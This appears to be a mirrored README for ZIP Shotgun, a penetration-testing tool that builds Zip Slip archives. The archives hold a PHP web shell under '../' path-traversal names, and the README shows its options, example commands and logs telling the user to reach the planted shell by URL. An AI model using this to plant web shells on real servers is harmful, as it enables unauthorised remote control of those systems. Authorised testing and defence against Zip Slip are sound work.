项目作者: jpiechowka

项目描述 :
Utility script to test zip file upload functionality (and possible extraction of zip files) for vulnerabilities (aka Zip Slip)
高级语言: Python
项目地址: git://github.com/jpiechowka/zip-shotgun.git
创建时间: 2018-11-14T23:56:34Z
项目社区:https://github.com/jpiechowka/zip-shotgun

开源协议:GNU General Public License v3.0

下载


ZIP Shotgun

Utility script to test zip file upload functionality (and possible extraction of zip files) for vulnerabilities (aka Zip Slip).
Idea for this script comes from this post on Silent Signal Techblog - Compressed File Upload And Command Execution
and from OWASP - Test Upload of Malicious Files

Snyk.io has got a report how this works: Zip Slip vulnerability and a GitHub repository with vulnerable libraries in different languages: Snyk.io Zip Slip github repo

There is also a great video from LiveOverflow shedding some light on Zip Slip and Zipperdown vulnerabilities: Critical .zip vulnerabilities? - Zip Slip and ZipperDown

This script will create archive which contains files with “../“ in filename. When extracting this could cause files to be extracted to preceding directories.
It can allow attacker to extract shells to directories which can be accessed from web browser.

Default webshell is wwwolf’s PHP web shell and all the credit for it goes to WhiteWinterWolf. Source is available HERE

Installation

  1. Install using Python pip (Python 3 required)

    pip3 install zip-shotgun --upgrade

  2. Clone git repository and install

    git clone https://github.com/jpiechowka/zip-shotgun.git

    Execute from root directory of the cloned repository (where setup.py file is located)

    pip3 install . --upgrade

Usage and options

  1. Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
  2. Options:
  3. --version Show the version and exit.
  4. -c, --directories-count INTEGER
  5. Count of how many directories to go back
  6. inside the zip file (e.g 3 means that 3
  7. files will be added to the zip: shell.php,
  8. ../shell.php and ../../shell.php where
  9. shell.php is the name of the shell you
  10. provided or randomly generated value
  11. [default: 16]
  12. -n, --shell-name TEXT Name of the shell inside the generated zip
  13. file (e.g shell). If not provided it will be
  14. randomly generated. Cannot have whitespaces
  15. -f, --shell-file-path PATH A file that contains code for the shell. If
  16. this option is not provided wwwolf
  17. (https://github.com/WhiteWinterWolf/wwwolf-
  18. php-webshell) php shell will be added
  19. instead. If name is provided it will be
  20. added to the zip with the provided name or
  21. if not provided the name will be randomly
  22. generated.
  23. --compress Enable compression. If this flag is set
  24. archive will be compressed using DEFALTE
  25. algorithm with compression level of 9. By
  26. default there is no compression applied.
  27. -h, --help Show this message and exit.

Examples

  1. Using all default options

    zip-shotgun archive.zip

    Part of the script output

    1. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    2. 12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
    3. 12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
    4. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
    5. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    6. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
    7. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
    8. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
    9. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
    10. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
    11. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
    12. ...
    13. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
  2. Using default options and enabling compression for archive file

    zip-shotgun --compress archive.zip

    Part of the script output

    1. 12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    2. 12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
    3. 12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
    4. 12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
    5. 12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    6. ...
    7. 12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
  3. Using default options but changing the number of directories to go back in the archive to 3

    zip-shotgun --directories-count 3 archive.zip

    zip-shotgun -c 3 archive.zip

    The script will write 3 files in total to the archive

    Part of the script output

    1. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    2. 12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
    3. 12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
    4. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Using default file extension for wwwolf's webshell: php
    5. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    6. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
    7. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
    8. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
    9. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
    10. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
    11. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
    12. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
  4. Using default options but providing shell name inside archive and enabling compression

    Shell name cannot have whitespaces

    zip-shotgun --shell-name custom-name --compress archive.zip

    zip-shotgun -n custom-name --compress archive.zip

    Name for shell files inside the archive will be set to the one provided by the user.

    Part of the script output

    1. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    2. 12/Dec/2018 Wed 23:19:12 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
    3. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Using default file extension for wwwolf's webshell: php
    4. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    5. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: custom-name.php
    6. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
    7. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../custom-name.php
    8. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
    9. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../custom-name.php
    10. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
    11. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../../custom-name.php
    12. ...
    13. 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL
  5. Provide custom shell file but use random name inside archive. Set directories count to 3

    zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip

    zip-shotgun -c 3 -f ./custom-shell.php archive.zip

    Shell code will be extracted from user provided file. Names inside the archive will be randomly generated.

    Part of the script output

    1. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    2. 12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
    3. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
    4. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Getting file extension from provided shell file for reuse: php
    5. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
    6. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    7. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
    8. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
    9. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
    10. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
    11. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
    12. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
    13. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL
  6. Provide custom shell file and set shell name to save inside archive. Set directories count to 3 and use compression

    zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip

    zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip

    Shell code will be extracted from user provided file. Names inside the archive will be set to user provided name.

    Part of the script output

    1. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    2. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
    3. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Getting file extension from provided shell file for reuse: php
    4. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
    5. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    6. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: custom-name.php
    7. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
    8. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../custom-name.php
    9. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
    10. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../../custom-name.php
    11. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
    12. 12/Dec/2018 Wed 23:25:19 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL